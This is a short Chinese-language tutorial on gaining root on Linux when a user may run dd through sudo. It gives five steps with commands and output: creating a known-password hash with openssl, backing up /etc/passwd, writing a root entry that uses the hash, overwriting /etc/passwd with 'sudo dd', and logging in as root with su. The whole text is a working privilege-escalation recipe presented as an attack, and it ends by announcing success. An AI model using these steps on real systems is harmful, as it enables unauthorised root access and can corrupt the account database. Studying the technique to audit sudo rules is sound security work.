SUDO -dd 提权法
当用户可以通过sudo执行dd命令时,可以被用来提权。通过dd命令覆盖原始/etc/passwd文件,以达到修改密码的目的
1、创建一个已知密码的hash,以备替换时使用
hh@hh:/etc$ openssl passwd -1 -salt 123 password $1$123$0HaaUtbhct/mZ/Q/KRa5a.
2、备份原始passwd文件,以防修改错误时无法访问
# cp /etc/passwd /tmp/passwd
3、利用第一步里生成的hash构建新的passwd hash条目
hh@hh:/tmp# cat passwd root:$1$123$0HaaUtbhct/mZ/Q/KRa5a.:0:0:root:/root:/bin/bash
4、使用dd覆盖原始passwd文件
hh@hh:/tmp$ cat passwd |sudo dd of=/etc/passwd 3+1 records in 3+1 records out 1757 bytes (1.8 kB, 1.7 KiB) copied, 0.000397129 s, 4.4 MB/s
5、使用刚才创建hash时使用的密码进行登录
hh@hh:/tmp$ su root Password: root@hh:/tmp#
提权成功!